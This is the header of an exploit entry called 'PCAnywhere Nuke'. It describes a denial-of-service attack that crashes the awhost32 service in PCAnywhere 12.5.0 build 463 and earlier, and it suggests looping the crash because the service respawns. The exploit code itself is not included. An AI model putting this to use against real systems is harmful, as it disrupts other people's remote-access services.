Exploit Title:  PCAnywhere Nuke 
Date: 2/16/12
Author: Johnathan Norman  spoofy <at> exploitscience.org  or @spoofyroot
Version:  PCAnyWhere  (12.5.0 build 463) and below
Tested on: Windows
Description: The following code will crash the awhost32 service. It'll be respawned
so if you want to be a real  pain you'll need to loop this.. my inital impressions
are that controlling execuction will be a pain.
